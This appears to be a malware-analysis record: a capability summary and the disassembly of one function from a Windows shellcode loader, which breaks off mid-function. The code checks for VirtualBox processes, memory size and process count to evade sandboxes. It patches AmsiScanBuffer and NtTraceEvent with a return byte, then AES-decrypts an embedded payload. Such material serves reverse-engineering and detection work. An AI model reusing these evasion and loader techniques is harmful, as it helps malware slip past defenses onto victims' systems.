Function at 0x18000c3d0
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute shellcode via indirect call
Get memory capacity
Hash data via wincrypt
Initialize hashing via wincrypt
Patch antimalware scan interface function
Patch event tracing for windows function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x4bae8
call fcn.180016690
sub rsp, rax
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x4ba50], xmm7
movaps xmmword [rbp + 0x4ba40], xmm6
mov qword [rbp + 0x4ba38], 0xfffffffffffffffe
mov dword [rbp - 0x20], 0x238
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
lea rdx, [rbp - 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x18000c4e9
lea rdi, [rbp + 0xc]
lea rbx, [rbp + 0x4b820]
xorps xmm6, xmm6
mov r15, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movdqa xmm7, xmmword [str.VBoxService.exe]
movabs r12, 0x79617254786f4256
movabs r13, 0x6578652e796172
lea r14, [rbp - 0x20]
nop word [rax + rax]
mov r8d, 0x104
mov rcx, rbx
xor edx, edx
call fcn.18000e180
movups xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
xor edx, edx
mov r8, rdi
mov r9d, 0xffffffff
call r15
movdqa xmm0, xmmword [rbp + 0x4b820]
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
cmp eax, 0xffff
je 0x18000d8c8
mov rax, qword [rbp + 0x4b820]
xor rax, r12
mov rcx, qword [rbp + 0x4b825]
xor rcx, r13
or rcx, rax
je 0x18000d8c8
mov rcx, rsi
mov rdx, r14
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000c470
lea rsi, [rbp - 0x20]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4ba20], xmm0
movdqa xmmword [rbp + 0x4ba10], xmm0
mov rcx, rsi
call fcn.1800208f8
movabs r14, 0x7fffffffffffffff
cmp rax, r14
jae 0x18000d8e1
mov rsi, rax
cmp rax, 7
ja 0x18000c56d
mov qword [rbp + 0x4ba20], rsi
mov qword [rbp + 0x4ba28], 7
mov r8, rsi
add r8, rsi
lea rcx, [rbp + 0x4ba10]
lea rdx, [rbp - 0x20]
call fcn.18000e250
mov word [rbp + rsi*2 + 0x4ba10], 0
jmp 0x18000c604
mov rax, rsi
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x18000d8f0
cmp rax, 0xb
mov ebx, 0xa
cmovae rbx, rax
lea rcx, [rbx + rbx]
cmp rbx, 0x7ff
jb 0x18000c5cb
movabs rax, 0x7fffffffffffffec
cmp rbx, rax
jae 0x18000d8f0
add rcx, 0x29
call fcn.180014b10
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000c5d7
add rcx, 2
call fcn.180014b10
mov rdi, rax
mov qword [rbp + 0x4ba10], rdi
mov qword [rbp + 0x4ba20], rsi
mov qword [rbp + 0x4ba28], rbx
mov r8, rsi
add r8, rsi
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.18000e250
mov word [rdi + rsi*2], 0
mov rbx, qword [rbp + 0x4ba20]
mov rdi, qword [rbp + 0x4ba28]
cmp rdi, 8
jb 0x18000c629
mov rax, qword [rbp + 0x4ba10]
test rbx, rbx
jne 0x18000c639
jmp 0x18000c809
lea rax, [rbp + 0x4ba10]
test rbx, rbx
je 0x18000c809
cmp word [rax + rbx*2 - 2], 0x5c
jne 0x18000c64b
lea rcx, [rax + rbx*2]
add rcx, 0xfffffffffffffffe
jmp 0x18000c67e
lea rcx, [rbx - 1]
shl rcx, 1
test rcx, rcx
je 0x18000c809
lea rcx, [rbx + rbx]
nop
cmp word [rax + rcx - 4], 0x5c
je 0x18000c677
add rcx, 0xfffffffffffffffe
cmp rcx, 2
jne 0x18000c660
jmp 0x18000c809
add rcx, rax
add rcx, 0xfffffffffffffffc
sub rcx, rax
cmp rcx, 0xfffffffffffffffe
je 0x18000c809
sar rcx, 1
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4b830], xmm0
movdqa xmmword [rbp + 0x4b820], xmm0
cmp rbx, rcx
jbe 0x18000d8ff
lea rdx, [rcx + 1]
sub rbx, rdx
cmp rbx, r14
jae 0x18000d904
lea rsi, [rax + rcx*2]
add rsi, 2
cmp rbx, 7
ja 0x18000c707
mov qword [rbp + 0x4b830], rbx
mov qword [rbp + 0x4b838], 7
lea r8, [rbx + rbx]
lea rcx, [rbp + 0x4b820]
mov rdx, rsi
call fcn.18000e250
mov word [rbp + rbx*2 + 0x4b820], 0
cmp rdi, 8
jae 0x18000c7ac
jmp 0x18000c7eb
mov rax, rbx
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x18000d909
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp r14, 0x7ff
jb 0x18000c769
movabs rax, 0x7fffffffffffffec
cmp r14, rax
jae 0x18000d909
add rcx, 0x29
call fcn.180014b10
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000c775
add rcx, 2
call fcn.180014b10
mov rdi, rax
mov qword [rbp + 0x4b820], rdi
mov qword [rbp + 0x4b830], rbx
mov qword [rbp + 0x4b838], r14
lea r8, [rbx + rbx]
mov rcx, rdi
mov rdx, rsi
call fcn.18000e250
mov word [rdi + rbx*2], 0
mov rdi, qword [rbp + 0x4ba28]
cmp rdi, 8
jb 0x18000c7eb
mov rcx, qword [rbp + 0x4ba10]
lea rdx, [rdi*2 + 2]
cmp rdx, 0x1000
jb 0x18000c7e6
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x18000d8dc
add rdi, rdi
add rdi, 0x29
mov rdx, rdi
mov rcx, rax
call fcn.180014b54
movdqa xmm0, xmmword [rbp + 0x4b820]
movaps xmm1, xmmword [rbp + 0x4b830]
movaps xmmword [rbp + 0x4ba20], xmm1
movdqa xmmword [rbp + 0x4ba10], xmm0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4b9f0], xmm0
movdqa xmmword [rbp + 0x4b9e0], xmm0
mov ecx, 0x30
call fcn.180014b10
mov rdi, rax
mov qword [rbp + 0x4b9e0], rax
mov qword [rbp + 0x4b9f0], 0x11
mov qword [rbp + 0x4b9f8], 0x17
movups xmm0, xmmword [0x180091824]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [str.C:_A_Za_z_7_]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x20], 0x5c
mov r14, qword [rbp + 0x4ba20]
cmp qword [rbp + 0x4ba28], 8
jb 0x18000c8ae
mov rsi, qword [rbp + 0x4ba10]
cmp r14, 6
ja 0x18000c8bb
mov rcx, rdi
add rcx, 0x22
lea rax, [r14 + 0x11]
mov qword [rbp + 0x4b9f0], rax
lea r8, [r14 + r14]
mov rdx, rsi
call fcn.180038050
mov word [rdi + r14*2 + 0x22], 0
jmp 0x18000c999
lea rsi, [rbp + 0x4ba10]
cmp r14, 6
jbe 0x18000c883
movabs rax, 0x7fffffffffffffee
cmp r14, rax
jae 0x18000d8fa
lea rbx, [r14 + 0x11]
mov rax, rbx
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x18000d8f5
cmp rax, 0x23
mov r15d, 0x22
cmovae r15, rax
lea rcx, [r15 + r15]
cmp r15, 0x7ff
jb 0x18000c934
movabs rax, 0x7fffffffffffffec
cmp r15, rax
jae 0x18000d8f5
add rcx, 0x29
call fcn.180014b10
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000c940
add rcx, 2
call fcn.180014b10
mov rdi, rax
mov qword [rbp + 0x4b9f0], rbx
mov qword [rbp + 0x4b9f8], r15
mov rbx, qword [rbp + 0x4b9e0]
movdqu xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movdqu xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm1
movzx eax, word [rbx + 0x20]
mov word [rdi + 0x20], ax
lea rcx, [rdi + 0x22]
lea r8, [r14 + r14]
mov rdx, rsi
call fcn.18000e250
mov word [rdi + r14*2 + 0x22], 0
mov edx, 0x30
mov rcx, rbx
call fcn.180014b54
mov qword [rbp + 0x4b9e0], rdi
mov qword [rbp + 0x4b9b8], 0
mov cl, 1
call fcn.180014f40
mov qword [rbp + 0x4b9d8], rax
lea rcx, [rbp + 0x4ba0c]
xor edx, edx
call fcn.180014b88
mov rsi, qword [0x18009f558]
mov rdi, qword [0x18009f550]
test rdi, rdi
jne 0x18000ca15
lea rcx, [rbp + 0x4b820]
xor edx, edx
call fcn.180014b88
cmp qword [0x18009f550], 0
jne 0x18000ca02
movsxd rax, dword [0x18009b3d0]
inc rax
mov dword [0x18009b3d0], eax
mov qword [0x18009f550], rax
lea rcx, [rbp + 0x4b820]
call fcn.180014bc4
mov rdi, qword [0x18009f550]
mov rax, qword [rbp + 0x4b9d8]
cmp qword [rax + 0x18], rdi
jbe 0x18000ca33
mov rcx, qword [rax + 0x10]
mov rbx, qword [rcx + rdi*8]
test rbx, rbx
jne 0x18000cc58
cmp byte [rax + 0x24], 0
je 0x18000ca55
call fcn.180015034
cmp qword [rax + 0x18], rdi
jbe 0x18000ca55
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18000cc58
mov rbx, rsi
test rsi, rsi
jne 0x18000cc58
mov ecx, 0x20
call fcn.180014b10
mov rbx, rax
mov rsi, qword [rbp + 0x4b9d8]
test rsi, rsi
mov qword [rbp + 0x4ba30], rax
je 0x18000cb0b
mov rax, qword [rsi + 0x28]
add rsi, 0x30
test rax, rax
cmovne rsi, rax
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4b940], xmm0
movdqa xmmword [rbp + 0x4b930], xmm0
mov rcx, rsi
call fcn.180020300
test rax, rax
js 0x18000d90e
mov rdi, rax
cmp rax, 0x10
jae 0x18000cb36
mov qword [rbp + 0x4b940], rdi
mov qword [rbp + 0x4b948], 0xf
lea rbx, [rbp + 0x4b930]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.18000e250
mov byte [rbp + rdi + 0x4b930], 0
cmp qword [rbp + 0x4b948], 0x10
jb 0x18000cba1
mov rbx, qword [rbp + 0x4b930]
jmp 0x18000cba1
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x4b930], xmm0
mov qword [rbp + 0x4b940], 0
mov qword [rbp + 0x4b948], 0xf
lea rbx, [rbp + 0x4b930]
jmp 0x18000cba1
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x18000cb6e
lea rcx, [r14 + 0x28]
call fcn.180014b10
mov rbx, rax
add rbx, 0x27
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000cb7a
lea rcx, [r14 + 1]
call fcn.180014b10
mov rbx, rax
mov qword [rbp + 0x4b930], rbx
mov qword [rbp + 0x4b940], rdi
mov qword [rbp + 0x4b948], r14
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.18000e250
mov byte [rbx + rdi], 0
lea rcx, [rbp + 0x4b820]
mov rdx, rbx
call fcn.180004df0
mov rsi, qword [rbp + 0x4ba30]
mov dword [rsi + 8], 0
lea rax, vtable.std::collate_wchar_t_.0
mov qword [rsi], rax
lea rcx, [rbp + 0x4b9a8]
call fcn.180015590
mov eax, dword [rbp + 0x4b9a8]
mov dword [rsi + 0x10], eax
mov rax, qword [rbp + 0x4b9b0]
mov qword [rsi + 0x18], rax
lea rcx, [rbp + 0x4b820]
call fcn.180004f50
mov rax, qword [rbp + 0x4b948]
cmp rax, 0x10
jb 0x18000cc39
mov rcx, qword [rbp + 0x4b930]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000cc34
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000d8dc
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180014b54
mov rcx, rsi
call fcn.180014c78
mov rbx, qword [rbp + 0x4ba30]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18009f558], rbx
lea r14, [rbp + 0x4b9c0]
lea rcx, [rbp + 0x4ba0c]
call fcn.180014bc4
mov qword [r14], rbx
lea rcx, [rbp + 0x4b9a8]
xor edx, edx
call fcn.180014b88
mov rsi, qword [0x18009f560]
mov rdi, qword [0x18009b3e0]
test rdi, rdi
jne 0x18000ccd1
lea rcx, [rbp + 0x4b820]
xor edx, edx
call fcn.180014b88
cmp qword [0x18009b3e0], 0
jne 0x18000ccbe
movsxd rax, dword [0x18009b3d0]
inc rax
mov dword [0x18009b3d0], eax
mov qword [0x18009b3e0], rax
lea rcx, [rbp + 0x4b820]
call fcn.180014bc4
mov rdi, qword [0x18009b3e0]
mov rax, qword [rbp + 0x4b9d8]
cmp qword [rax + 0x18], rdi
jbe 0x18000ccef
mov rcx, qword [rax + 0x10]
mov rbx, qword [rcx + rdi*8]
test rbx, rbx
jne 0x18000cddc
cmp byte [rax + 0x24], 0
je 0x18000cd11
call fcn.180015034
cmp qword [rax + 0x18], rdi
jbe 0x18000cd11
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18000cddc
mov rbx, rsi
test rsi, rsi
jne 0x18000cddc
mov ecx, 0x60
call fcn.180014b10
mov rdx, qword [rbp + 0x4b9d8]
test rdx, rdx
mov qword [rbp + 0x4ba30], rax
je 0x18000cd4b
mov rax, qword [rdx + 0x28]
add rdx, 0x30
test rax, rax
cmovne rdx, rax
jmp 0x18000cd52
lea rdx, [0x180091780]
lea rcx, [rbp + 0x4b820]
call fcn.180004df0
mov rsi, qword [rbp + 0x4ba30]
mov dword [rsi + 8], 0
lea rax, vtable.std::ctype_wchar_t_.0
mov qword [rsi], rax
mov rcx, rsi
add rcx, 0x10
call fcn.1800155c4
lea rcx, [rbp + 0x4b930]
call fcn.180015684
movdqu xmm0, xmmword [rbp + 0x4b930]
movups xmm1, xmmword [rbp + 0x4b940]
movups xmm2, xmmword [rbp + 0x4b94c]
movups xmmword [rsi + 0x4c], xmm2
movups xmmword [rsi + 0x40], xmm1
movdqu xmmword [rsi + 0x30], xmm0
lea rcx, [rbp + 0x4b820]
call fcn.180004f50
mov rcx, rsi
call fcn.180014c78
mov rbx, qword [rbp + 0x4ba30]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18009f560], rbx
lea rcx, [rbp + 0x4b9a8]
call fcn.180014bc4
mov qword [rbp + 0x4b9c8], rbx
mov rax, qword [rbp + 0x4b9f0]
cmp qword [rbp + 0x4b9f8], 8
jb 0x18000ce09
mov rcx, qword [rbp + 0x4b9e0]
jmp 0x18000ce10
lea rcx, [rbp + 0x4b9e0]
lea rax, [rcx + rax*2]
mov qword [rbp + 0x4b820], rcx
mov qword [rbp + 0x4b828], rcx
mov qword [rbp + 0x4b830], rax
xorps xmm6, xmm6
movups xmmword [rbp + 0x4b838], xmm6
movups xmmword [rbp + 0x4b848], xmm6
mov qword [rbp + 0x4b858], 0
mov ecx, 0x30
call fcn.180014b10
mov dword [rax + 8], 0x14
movups xmmword [rax + 0xc], xmm6
mov dword [rax + 0x1c], 0
lea rcx, vtable.std::_Root_node.0
mov qword [rax], rcx
movups xmmword [rax + 0x20], xmm6
mov qword [rbp + 0x4b860], rax
mov qword [rbp + 0x4b868], rax
mov dword [rbp + 0x4b870], 1
mov qword [rbp + 0x4b878], r14
movabs rax, 0x400000100
mov qword [rbp + 0x4b880], rax
mov qword [rbp + 0x4b888], r14
mov dword [rbp + 0x4b890], 1
mov dword [rbp + 0x4b8a0], 0x8775dfb
lea rcx, [rbp + 0x4b820]
call fcn.180005020
mov ecx, 0x28
call fcn.180014b10
mov rsi, rax
mov dword [rax + 8], 0xd
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_capture.0
mov qword [rsi], rax
mov dword [rsi + 0x20], 0
mov rax, qword [rbp + 0x4b868]
mov qword [rsi + 0x18], rax
mov rcx, qword [rax + 0x10]
test rcx, rcx
je 0x18000cf16
mov qword [rsi + 0x10], rcx
mov qword [rcx + 0x18], rsi
mov qword [rax + 0x10], rsi
mov qword [rbp + 0x4b868], rsi
lea rcx, [rbp + 0x4b820]
call fcn.180005270
mov rax, qword [rbp + 0x4b820]
cmp rax, qword [rbp + 0x4b830]
jne 0x18000d8e6
mov eax, dword [rsi + 8]
cmp eax, 8
je 0x18000cf5a
cmp eax, 0xa
je 0x18000cf53
cmp eax, 0xb
jne 0x18000cf61
mov ebx, 0xc
jmp 0x18000cf66
mov ebx, 9
jmp 0x18000cf66
mov ebx, 0xe
mov ecx, 0x28
call fcn.180014b10
mov rdi, rax
mov dword [rax + 8], ebx
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
lea rax, vtable.std::_Node_end_group.0
mov qword [rdi], rax
mov qword [rdi + 0x20], rsi
mov rax, qword [rbp + 0x4b868]
mov qword [rdi + 0x18], rax
mov rsi, qword [rax + 0x10]
test rsi, rsi
je 0x18000cfaf
mov qword [rdi + 0x10], rsi
mov qword [rsi + 0x18], rdi
mov qword [rax + 0x10], rdi
mov qword [rbp + 0x4b868], rdi
mov ecx, 0x20
call fcn.180014b10
lea rcx, vtable.std::_Node_base.0
mov qword [rax], rcx
mov dword [rax + 8], 0x15
mov qword [rax + 0xc], 0
mov dword [rax + 0x14], 0
mov qword [rax + 0x18], rdi
test rsi, rsi
je 0x18000cff5
mov qword [rax + 0x10], rsi
mov qword [rsi + 0x18], rax
mov qword [rdi + 0x10], rax
mov qword [rbp + 0x4b868], rax
lea rax, [rbp + 0x4b860]
mov rbx, qword [rax]
mov eax, dword [rbp + 0x4b890]
mov dword [rbx + 0x20], eax
mov eax, dword [rbp + 0x4b838]
inc eax
mov dword [rbx + 0x28], eax
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call fcn.180005580
lock inc dword [rbx + 0x2c]
mov rax, qword [rbp + 0x4b9b8]
test rax, rax
je 0x18000d06e
lock dec dword [rax + 0x2c]
jne 0x18000d06e
mov rcx, qword [rbp + 0x4b9b8]
test rcx, rcx
je 0x18000d06e
nop dword [rax]
mov rax, qword [rcx]
mov rsi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rsi
test rsi, rsi
jne 0x18000d050
mov qword [rbp + 0x4b9b8], rbx
mov rcx, qword [rbp + 0x4b840]
test rcx, rcx
je 0x18000d0bc
mov rdx, qword [rbp + 0x4b850]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000d0b0
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x18000d8dc
add rdx, 0x27
mov rcx, rax
call fcn.180014b54
mov rbx, qword [rbp + 0x4b9b8]
mov qword [rbp + 0x4b930], 0
mov byte [rbp + 0x4b938], 0
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x4b970], xmm0
mov byte [rbp + 0x4b980], 0
movdqu xmmword [rbp + 0x4b988], xmm0
mov byte [rbp + 0x4b998], 0
movdqu xmmword [rbp + 0x4b940], xmm0
movdqu xmmword [rbp + 0x4b950], xmm0
movdqu xmmword [rbp + 0x4b959], xmm0
mov r13, qword [rbp + 0x4ba10]
cmp qword [rbp + 0x4ba28], 8
lea rax, [r13 + 2]
lea rcx, [rbp + 0x4ba10]
cmovb r13, rcx
lea rdi, [rbp + 0x4ba12]
cmovae rdi, rax
test rbx, rbx
je 0x18000d21d
mov r12, qword [rbp + 0x4ba20]
lea rsi, [r12*2]
add rsi, r13
mov eax, dword [rbx + 0x20]
mov ecx, dword [rbx + 0x28]
movdqa xmmword [rbp + 0x4b8b0], xmm0
movdqa xmmword [rbp + 0x4b8a0], xmm0
movdqa xmmword [rbp + 0x4b890], xmm0
movdqa xmmword [rbp + 0x4b880], xmm0
movdqa xmmword [rbp + 0x4b870], xmm0
movdqa xmmword [rbp + 0x4b860], xmm0
movdqa xmmword [rbp + 0x4b850], xmm0
movdqa xmmword [rbp + 0x4b840], xmm0
movdqa xmmword [rbp + 0x4b830], xmm0
movdqa xmmword [rbp + 0x4b820], xmm0
mov qword [rbp + 0x4b8c0], rsi
mov qword [rbp + 0x4b8c8], r13
mov qword [rbp + 0x4b8d0], rbx
mov dword [rbp + 0x4b8d8], eax
mov dword [rbp + 0x4b8dc], 0
mov byte [rbp + 0x4b8e0], 0
mov dword [rbp + 0x4b8e4], ecx
movzx eax, byte [rbx + 0xc]
shr al, 3
and al, 1
mov byte [rbp + 0x4b8e8], al
mov qword [rbp + 0x4b8f0], r14
mov ebx, dword [rbx + 0x24]
test rbx, rbx
je 0x18000d2ac
mov eax, ebx
shl rbx, 4
cmp eax, 0x100
jb 0x18000d224
lea rcx, [rbx + 0x27]
call fcn.180014b10
mov r14, rax
add r14, 0x27
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x18000d22f
xor esi, esi
jmp 0x18000d3cf
mov rcx, rbx
call fcn.180014b10
mov r14, rax
mov rcx, r14
xor edx, edx
mov r8, rbx
call fcn.18000e180
mov r15, qword [rbp + 0x4b8a0]
mov r8, qword [rbp + 0x4b8a8]
sub r8, r15
mov rcx, r14
mov rdx, r15
call fcn.180038050
test r15, r15
je 0x18000d294
mov rdx, qword [rbp + 0x4b8b0]
sub rdx, r15
cmp rdx, 0x1000
jb 0x18000d28c
mov rax, qword [r15 - 8]
add r15, 0xfffffffffffffff8
sub r15, rax
cmp r15, 0x20
jae 0x18000d8dc
add rdx, 0x27
mov r15, rax
mov rcx, r15
call fcn.180014b54
mov qword [rbp + 0x4b8a0], r14
add rbx, r14
mov qword [rbp + 0x4b8a8], rbx
mov qword [rbp + 0x4b8b0], rbx
lea rcx, [rbp + 0x4b820]
lea rdx, [rbp + 0x4b930]
call fcn.1800056d0
test al, al
jne 0x18000d360
test r12, r12
je 0x18000d381
mov eax, 0xffffdeff
and eax, dword [rbp + 0x4b8dc]
or eax, 0x100
mov dword [rbp + 0x4b8dc], eax
lea rbx, [rbp + 0x4b820]
lea r14, [rbp + 0x4b9a8]
lea r15, [rbp + 0x4b930]
nop dword [rax + rax]
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, r14
mov r8, rdi
mov r9, rsi
call fcn.180005980
mov rdi, qword [rbp + 0x4b9a8]
cmp rsi, rdi
je 0x18000d342
mov qword [rbp + 0x4b8c8], rdi
mov rcx, rbx
mov rdx, r15
call fcn.1800056d0
add rdi, 2
test al, al
je 0x18000d300
jmp 0x18000d360
mov qword [rbp + 0x4b8c8], rsi
lea rcx, [rbp + 0x4b820]
lea rdx, [rbp + 0x4b930]
call fcn.1800056d0
test al, al
je 0x18000d381
mov qword [rbp + 0x4b930], r13
mov qword [rbp + 0x4b958], r13
cmp qword [rbp + 0x4b960], r13
setne byte [rbp + 0x4b968]
mov sil, 1
jmp 0x18000d383
xor esi, esi
lea rcx, [rbp + 0x4b820]
call fcn.180005dd0
mov rcx, qword [rbp + 0x4b940]
test rcx, rcx
je 0x18000d3cf
mov rdx, qword [rbp + 0x4b950]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18000d3ca
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x18000d8dc
add rdx, 0x27
mov rcx, rax
call fcn.180014b54
mov rax, qword [rbp + 0x4b9b8]
test rax, rax
je 0x18000d40e
lock dec dword [rax + 0x2c]
jne 0x18000d40e
mov rcx, qword [rbp + 0x4b9b8]
test rcx, rcx
je 0x18000d40e
nop dword [rax]
mov rax, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rdi
test rdi, rdi
jne 0x18000d3f0
mov qword [rbp + 0x4b9b8], 0
mov rcx, qword [rbp + 0x4b9d8]
test rcx, rcx
je 0x18000d43e
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000d43e
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov rax, qword [rbp + 0x4b9f8]
cmp rax, 8
jb 0x18000d48a
mov rcx, qword [rbp + 0x4b9e0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000d485
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000d8dc
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180014b54
mov rax, qword [rbp + 0x4ba28]
cmp rax, 8
jb 0x18000d4d6
mov rcx, qword [rbp + 0x4ba10]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000d4d1
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000d8dc
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180014b54
test sil, sil
jne 0x18000d8c8
mov dword [rbp - 0x20], 0x40
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, 0xfff8d001
cmp qword [rbp - 0x18], rax
jb 0x18000d8c8
mov esi, 1
mov edi, 1
nop dword [rax]
mov ebx, esi
cmp edi, 7
ja 0x18000d550
mov ebx, 8
sub ebx, edi
mov r14d, 1
nop word cs:[rax + rax]
mov ecx, 0x20
call fcn.18001fdac
inc r14d
cmp r14d, ebx
jbe 0x18000d530
mov ebx, esi
nop word cs:[rax + rax]
mov ecx, 0x2a
call fcn.18001fdac
dec ebx
jne 0x18000d550
mov ecx, 0xa
call fcn.18001fdac
inc edi
add esi, 2
cmp edi, 9
jne 0x18000d510
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x18000d5da
mov rsi, rax
lea rdi, [rbp - 0x20]
mov r8d, 0x238
mov rcx, rdi
xor edx, edx
call fcn.18000e180
mov dword [rbp - 0x20], 0x238
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x18000d8d2
mov ebx, 0xffffffff
nop word [rax + rax]
mov rcx, rsi
mov rdx, rdi
call sub.KERNEL32.dll_Process32NextW
inc ebx
test eax, eax
jne 0x18000d5c0
cmp ebx, 0x28
jb 0x18000d8d2
mov dword [rbp - 0x20], 0
lea rcx, [0x180090aee]
mov r14, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call r14
lea rdx, str.NtTraceEvent
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r15
mov rsi, rax
mov rbx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdi, [rbp - 0x20]
mov edx, 1
mov rcx, rax
mov r8d, 0x40
mov r9, rdi
call rbx
mov byte [rsi], 0xc3
mov r8d, dword [rbp - 0x20]
mov edx, 1
mov rcx, rsi
mov r9, rdi
call rbx
mov dword [rbp - 0x20], 0
lea rcx, str.amsi.dll
call r14
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call r15
mov rsi, rax
mov edx, 1
mov rcx, rax
mov r8d, 0x40
mov r9, rdi
call rbx
mov byte [rsi], 0xc3
mov r8d, dword [rbp - 0x20]
mov edx, 1
mov rcx, rsi
mov r9, rdi
call rbx
movaps xmm0, xmmword [0x1800426c0]
movaps xmmword [rbp + 0x4b820], xmm0
lea rdx, [0x1800426d0]
lea rsi, [rbp - 0x20]
mov r8d, 0x4b840
mov rcx, rsi
call fcn.18000e250
mov dword [rbp + 0x4b9e0], 0x4b840
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rbp + 0x4b930]
xor edx, edx
xor r8d, r8d
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x18000d7a8
mov rcx, qword [rbp + 0x4b930]
lea rax, [rbp + 0x4b9b8]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x18000d7a8
mov rcx, qword [rbp + 0x4b9b8]
lea rdx, [rbp + 0x4b820]
mov r8d, 0x10
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x18000d7a8
mov r8, qword [rbp + 0x4b9b8]
mov rcx, qword [rbp + 0x4b930]
lea rax, [rbp + 0x4ba10]
mov qword [rsp + 0x20], rax
mov edx, 0x6610
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x18000d7a8
mov rcx, qword [rbp + 0x4ba10]
lea rax, [rbp + 0x4b9e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x18000d7a8
mov rcx, qword [rbp + 0x4b930]
